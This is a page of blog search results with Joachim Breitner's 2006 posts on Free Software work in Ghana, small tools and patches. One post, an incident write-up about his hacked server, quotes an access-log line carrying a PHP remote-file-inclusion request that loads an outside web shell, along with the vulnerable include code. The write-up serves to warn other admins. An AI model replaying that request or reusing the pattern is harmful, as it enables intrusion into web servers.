Search Results: "Joachim Breitner"

10 November 2006

Joachim Breitner: Teaching Linux with Games

I m still at the school in Ghana, and although I have quit, there are another five weeks to make use of. Linux is installed on quite a few machines, but it is not used very often, partly because the studentds don t know about it. I was instructed to boot to Windows by default, so they don t stumble over it either. To raise a more interest, I announced a Linux Gaming Tournament, and put up some posters. The participating students will compete in Frozen Bubble, the game formally known as Tuxracer and Tetrinet.As it turned out I got the permission to do so based on a misunderstanding: The principal thought I would create a game that itself would teach students to use Linux (maybe some kind of rally with hidden hints in various applications and folders, and whoever finds them wins). My original plan would not have been allowed, as there is a officially strict school policy against computer games, and because it is a boarding school, it is also a life policy for the students for four years.Because the tournament was already announced and students signed up for it, I will still be able to hold it, as an explicit exception to the rule. But what the administration would like to see, also to keep the interest in Linux up even after I will have removed the games again, is a longer lasting competition in a game with a more educational purpose. An old Mac game was named where the player has to run a business and in the process learns about spreadsheets.So, dear lazyweb, do you know of a game thatI know that the last two wishes would point to a web based game, but that defies the purpose to lure the people to start Linux.

8 November 2006

Joachim Breitner: graphing your gaim chat history

I m a fan of statistics, so I created a small perl script that reads your gaim message history and, for the top 10 contacts, creates graphs: One for the total bytes chatted, one for the bytes chatted on each day, and two with weighted averages, over one week and one month timespan. You need the perl modules in libgd-graph-perl and libxml-xpath-perl, and my script. Run it and it will output the four png s in the current directory.I don t have examples, as the output is far too private to put up here, and I m too lazy to create interesting test data. There is a lot you can discover in these graphs: When you got to know someone (or when he started IMing), when you were not good terms with someone etc.

3 November 2006

Joachim Breitner: Building around Scamblocks

I'm currently travelling through Ghana, as the German readers of my blog know. For some reason, I can't access my server from this internet cafe, and my assumption is that my hoster or his carrier blocks some Ghanaian IP ranges, to prevent scam mails, which mostly originate in Nigeria and other West African countries.But I still want to reach my server, to check my mail and write blog entries. Luckily, I could work around that barrier, using various holes in the setup here. The software on this computer does not allow me to access the start menu, but I still could download putty and start it from Firefoxes download list. First hole. I could then connect to my account at my university in Germany, so no firewall here. Second hole. Unfortunately, putty can not act as a SOCKS server as OpenSSH does, but luckily, there is usocksd, a small SOCKS server, installed on the university server. I then forwarded the local port 8080 to there using putty, and I could change the proxy settings of firefox to use that instead of the internet cafe's proxy. Third hole. Additional benefit: Encrypted browsing...

25 October 2006

Joachim Breitner: Giving up at SOSHGIC

Some of you might have followed my volounteer work at the SOS Hermann Gmeiner International College in Tema, Ghana, where I was invited to introduce Linux at the school. Being a free software advocate, I thought this a great opportunity to spread Free Software where it can make the most difference and helps bridging the Digital Divide: In a developing country.Judging from the offer (which was very nice, it included housing, flights, freight, money), I expected the school to be very eager to learn about Linux. I was expecting that I only had to guide existing momentum. What I found instead was that there was zero interest from the people who matter in this case. I got all freedoms to implement what I want (as long as I didn t break anything), and I created some things I think are quite nice: Automatic installations that keep the installed windows intact, neat integration in the Active Directory setup, network monitoring with nagios, a transparent firewall that let s the teachers turn the internet for the class room off and on. But it felt like working for nothing, and I can t push people to use Free Software who are unwilling.So today I drew the concequences and quit with effect to the end of December. The principal, who s project it was in the first place, was sorry, but understanding of my issues, and accepted my resignation. I will be on a trip to the Volta lake and other parts of Ghana with friends from Accra for the next 10 days anywasy, so she will take the time to think and discuss how the school can make the best out of the remaining two months.I have not giving up on spreading Free Software here completely. If I find another project where I can be of more use afterwards, I will consider that. But this time I m going to be very picky where I go, and only take a shorter, better defined project. If I can t find something, then that s it and I ll go back to Germany to continue my studies.

19 October 2006

Joachim Breitner: Turnkey Linux for Internet Caf s

While thinking how to spread Free Software in Ghana more effectively I noticed some important factor: Internet caf s. On the one hand they are for most people the first contact to comuters (in contrast to Europe or US, where it's probably the family or school computer), so getting Linux on there would make a difference. On the other hand, for them a Linux system is a very viable choice: Cheap per computer (although in Ghana the argument reads legal , not cheap ), provides good software for the usual internet caf s user s needs (browsing, word processing, chatting) and is very suitable to be locked down and run safely.There are a lot of internet caf s in Ghana, at least in the Accra Region, but most of the people that run these are not he most advanced computer users, so they just go the seemingly simple road: Windows on clients and servers, and probably some software like CyberCafe, also pirated, for the accounting and the computer lockdown.My idea this evening was: Would it be possible to create something like Skolelinux, just for internet caf s? A CD that the owner of the caf just puts in what s meant to be the server and boots, answers a few questions, and a second CD for the clients where he does not have to answer any questions, and what he gets is a complete system with approximately these features:If such a distribution already exists, I d like to hear about it. If not, it might be an interesting project for the Linux Accra User Group or OpenGhana.org. If successful, this might help Free Software gaining mind share in developing countries big time. Of course I m also very interested in comments from those who read this through planet.openghana.org.

Joachim Breitner: dpkg-statoverride halt

Do you run a colocated server somwhere? Do you regularily work on it as root? Do you often have several consoles running? Do you sometimes not pay attention to the host information on the prompt? Do you shut down other computers, as your own? Then I strongly recommend you:
dpkg-statoverride --update --add root root 644 /sbin/halt
(To whom it concerns: Sorry for the downtime.)

17 October 2006

Joachim Breitner: xchat patch: GUI for autojoin setting

When using xchat, I found it uncomfortable that whenever I don't want to auto-join a channel any more, I have to find the network in the server list, go to properties, find the channel there and remove it. Adding channels is not much better.So I wrote a small patch against the xchat in Debian unstable (2.6.4) that adds a checkbox menu entry to the channel's tab's context menu, to quickly take a channel of the autojoin list or add it there.I submitted the patch upstream, but if you want to give it a shot, you can find it on Debian bug #393783

Joachim Breitner: openghana.org launched

The idea was not mine, but nobody seemed to do it, so I just did it and created openghana.org: OpenGhana logoIt is meant to be a common domain name and portal for the various Free Software related groups in Ghana, especially Linux User Groups, and I hope it causes synergy effects. We are also thinking what services can be provided on that site. At the moment, there is planet.openghana.org, a blog aggregator with blogs from various members of the Ghanaian Free Software community.

Currently, there are two LUGs on openghana, but I hope that others will join as well.

14 October 2006

Joachim Breitner: Don't let LWN die

Joey Hess wonders if the Debian Weekly News are still a useful thing, and whether the planet has not taken it's place. In my opinion, that is not the case. I always looked forwared to Wednesday evening when the new DWN would come out. I enjoyed the nice overview of what's going on in the different corners of Debian and eagerly read the recently added or orphaned package lists. DWN was a nice news digest, just the right size, and seemed to me more balanced and a tad more objective than just the random blog entry.Unfortunately, the DWN are most useful for those who are currently not aware of all the things going on, who are not on all the high-traffic mailing lists (or don't read them), and these are of couse not the people who can run the DWN (I count me to that group). And those who are suitable to write the weekly letter are not those who need it...I still hope that someone and maybe some more can pick up the task and keep this institution running. <sarcasm>Maybe dunc-tank can sponsor them...</sarcasm>

Joachim Breitner: Don't let DWN die

Joey Hess wonders if the Debian Weekly News are still a useful thing, and whether the planet has not taken it's place. In my opinion, that is not the case. I always looked forwared to Wednesday evening when the new DWN would come out. I enjoyed the nice overview of what's going on in the different corners of Debian and eagerly read the recently added or orphaned package lists. DWN was a nice news digest, just the right size, and seemed to me more balanced and a tad more objective than just the random blog entry.Unfortunately, the DWN are most useful for those who are currently not aware of all the things going on, who are not on all the high-traffic mailing lists (or don't read them), and these are of couse not the people who can run the DWN (I count me to that group). And those who are suitable to write the weekly letter are not those who need it...I still hope that someone and maybe some more can pick up the task and keep this institution running. <sarcasm>Maybe dunc-tank can sponsor them...</sarcasm>

13 October 2006

Joachim Breitner: I'm responsible for reduced attention in a NY university

Some Brett from Rensselaer Polytechnic Institute in Troy, NY writes on his blog that my gaim-thinklight plugin is bad for attention in class. Sorry, guys :-)

Joachim Breitner: African: Africa should stop blaming others

At this school, every friday morning one member of staff holds a speech full of wisdom, insight and motiviation. While usually I find these quite transparent and full of good-sounding, not-very-helpful advices, today's speach by a history teacher was different.He talked about how africa keeps blaming the European colonialisation for it's current state, and that it should rather look ahead and "forge forward" (I didn't even know you could use "forge" as a verb implying movement, and dict.leo.org doesn't know either). He listed other countries with a devastating event in their history who were successful afterwards: Japan, after the the atomic bombing, became an industrial giant , German's economic miracly after being bombed to ashes and the Jew's will to go on after the holocaust.He assumed that if the bombs had been dropped on an African country more than half a century ago, people would still be blaming their current problems on the bombs, and demanding compensation, which some Africans do now regarding the slave trade, and which the teacher thinks also displays of lack of own initiative. Again, he compared that to Germany and Japan who did not think of expecting compensation (but then, these two have started the war that caused their bombing, so this comparision is, in my opinion, not entirely valid)Also interesting was the thesis that if these days a large slave ship would land on an African harbour, and announcements would be made that 200.000 slaves would be needed to work on American farms, people would thrash forward to go on that ship. Although it was probably a citique on the mentality of some Africans, it could also be seen as a reference to the state of affairs in Africa, where to some work as a slave might be the better choice.All in all a very interesting point of view that I wanted to share with you. It definately made more impression than my talk about Free Software, but that one went ok as well, I think.

12 October 2006

Joachim Breitner: latex-ucs

After two years of working around not being able to use \usepackage[utf8] inputenc on sarge, because it works here on unstable and not here, I found out today that all I would have to had to do was apt-get install latex-ucs. Hmpf.

Joachim Breitner: My Software around the World

It is always nice to get feedback from people using your work. It happens that a long time ago (February 2002) I wrote a tiny little program called "udp-broadcast-relay" that does nothing but hauling udp broadcast packages from one local network to another one. I wrote it because I needed it then, and did not care for it after somewhen in summer 2002, when I did not need it any more.Yesterday, I got this message:
Von: <xxxxxxxx@mail.ru>
An: Joachim Breitner <mail@joachim-breitner.de>
Betreff: udp_forward_relay
Datum: Wed, 11 Oct 2006 19:59:23 +0400 (15:59 GMT)
Hello Joachim,
Thank you on your programm udp_forward_relay.
Best regards
  Alezander
And today:
Von: <xxxxxxxx@mail.ru>
An: Joachim Breitner <mail@joachim-breitner.de>
Betreff: Respect
Datum: Thu, 12 Oct 2006 22:39:07 +0400 (18:39 GMT)
Hello,
> Thanks for the mail. It's always good to hear that people are using
> it. What do you use it for, if I may ask?  
Im us if on a router with 6 network segments for relaying broadcast packet from quake3,
war3 and VyPress Chat. Im from Russian and live in "NNSU" universety hostel,
in Nigniy Novgorod state. All peoples from my hostel send respect for you...
P.S. Sorry for my english...
Best regards
   Alezander        
That feels good. I once got a similar thing from pakistan, too. Strange selection of countries...

11 October 2006

Joachim Breitner: Five Minutes about Free Software

I'm in Ghana now for more than two month, and my mission to spread Free Software at the SOS Hermann Gmeiner International School has been progressing slowly. So far I have setup a FAI based automatic installation of Debian Sarge, extended that to automatically resize the existing windows and put it on a few computers in the staff work room, the library and the student's computer room, but interest was generally quite low.I also noticed that most probably don't know me (unfortunately, I was not introduced properly), and if, they don't know why or what for I'm here. So I asked for permission to hold a talk a the friday morning assembly, where all the studentds and staff come together, and I was given five minutes. I want to use the time to give a very brief introduction what Free Software is and why we need it.Read the full post for the text of the speech, I'm keen to hear comments, suggestions and corrections, preferably before friday morning on the meridian.
"Five Minutes about Free Software" vollst ndig lesen

1 October 2006

Joachim Breitner: Latexki, a Wiki for LaTeX in Haskell and Python

After two years of using lkwiki, an old kwiki version that was extended to support full LaTeX documents to be managed and to store it's information in subversion, it is time for a rewrite. This week, I built the basic working foundation, in time for the new term at my University in Karlsruhe, but hopefully also for other people to use. So hereby, I announce:
Latexki, a Latex Wiki
Latexki consists of two parts: The latexki binary, written in Haskell, is called by subversion after a commit and generates the static wiki pages (both text and LaTeX-based). It only updates what's needed (since running latex is expensive), but tracks dependencies like \input in LaTeX. The other, actually optional, part is a CGI script written in python which provides simple write-access to the subversion repository and which should handle conflicts with the same grace as subversion itself.Some, especially the planet.debian.org readers, will now immediatelly say that this is the same idea as Joey's ikiwiki and that I should just have extended his software. Now, I had the idea independently (after all, lkwiki works like this for two years now), and while ikiwiki is more a general purpose wiki, I wanted to create a tool specifically tailored for the collaborative management of LaTeX documents, the text pages are just side-play. Also, I wanted to to my own thing to use the subversion bindings to access the repository directly, without the need of a working copy, for the edits. It turned out that with pysvn, this is not possible, but at least I don't have to call the svn binary and using temporary directories for the working directory should be a clean solution.While the code is basically working, it still needs some testing. I'm also very eager to hear comments about the code itself, especially from a security point of view, but also from a "how to this nicer in haskell" point of view. You can find the code on the wiki itself, as all non-wiki, non-latex files are just wrapped in <pre> and put on their own page. Also, the TODO list is long. Patches are welcome, and if you want to use the software yourself, I'll help with any deployment problems.To the lkwiki users: I plan to switch the lkwiki repository to latexki before the semester starts. Some files will have to be renamed, and some detail code to be written. Feel free to test the latexki code to make sure we don't have problems then.

Joachim Breitner: Hosting PHP proven harmful

I happen to have my own root server, and since there are always resources left, I did not mind hosting some other people's pages as well. I especially offer all the final classes of my school to host their website, to keep up a consistent domain naming scheme, starting with my own class page, http://04.abi-sgh.de/. This was a nice services to the following classes, as the amout of pictures such a class generates usually exeeds regular hosting constraints. Custom programmed websites, like mine and some more, are nice too.Now, today, my web server was not running. I tried to restart it, but port 443 was used, and I thought: "WTF"? netstat showed my a process with the strange name of "mysqld_" sitting on that port. ls -l /proc/.../cmd showed a binary named "httpd" in a path "/var/www/...(very deep)/.../.ssh/". Now it dawned me: Someone hacked my server.A quick "ls -l" in that directory indicated that it was done as the www-data server, and probably no root was gained. There were also two DVD rips laying around, so my server seemd to have been turned in to a movie sharing platform. The "httpd" binary, as "strings" confirmed, is a IRC-fileshareing server called iroffer, and a tool to hide processes was in that directory too.Luckily, the attackers did not hide their traces too well. The date of the "..." directory gave me the exact time of the attack, and around that time, entries like this one appeared in the access.log:
62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/
cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224
"http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?&
action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1
Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.

21 September 2006

Joachim Breitner: World of Contrasts

My Friend Moritz has started a small personal art photography project called "World of Contrasts", where he wants to work with the effects of, well, contrasts. On his site you will find the gallery with a few pictures already and an accompanying blog.

17 September 2006

Joachim Breitner: Software Freedom Day 2006 in Accra

Yesterday was the international Software Freedom Day, and the Linux Accra User Group, which I just found out about last week, held a small expo in the "India-Ghana Kofi Annan Center for Excellence in Information and Communications Technology". On the program was a keynote speech by the group members, introducing the concept of Free Software, an exhibition of Linux installations and some programs as well as the showing of the first Open Source movie, blender-made movie "Elephants Dream" and its making-of.What I did not expect at such a meeting would be such a Linux guru: Swedish guy, who was an Amiga fan but had to start using PCs in November 1991(!) and looked for an operating systen, heard of Linux and used it since then. For all those newbies as myself: That was when "Linux From Scratch" did not exist, but you had to do it that way anyways, since there were no distributions. He has been living in Ghana vor 10 years now, bound by a family, the warm weather and by a job where he get's paid to do OpenSource development. Envy, anyone? Read more about him on his recently opened blog.
Someone already uploaded his pictures of the event, my pictures will be uploaded in a short while.In other news: At the College in Tema, where I am working at the moment, we agreed on installing Linux on the library computers to let the students have a shot at it, if they want, and after that the enrollment in the regular labs will be discussed. I shall also give an introction lesson to the IT teachers so that they can help a student during class, should he try to use Linux.

13 September 2006

Joachim Breitner: My Name is j a m

A lot of people outside Germany, including here in Ghana, can't pronounce my name right (whereas right is what I'm used to...). So I looked through the German wikipedia and tried to figure out how to write my name in the IPA. The result is:
j a m
If you don't have unicode available, this will probably look strange to you. All these sounds have strange names, here they are:And yes, it is the same letter as in Te , but not the same pronounciation, which is t x. Update: I had to convert my serendipity blog to UTF8 to make this entry right. Did so by mysqladmin dump'ing the whole database and running it through iconv, and then re-inputting it. Sorry to any planets that had a broken entry for a while. Maybe this update paragraph makes these planets update the entry :-)Update 2: As I'm already showing of with unicode characters: The name Joachim is derived from Jehoiakim (Jojakim in German), which is Hebrew and looks like this:

Next.

Previous.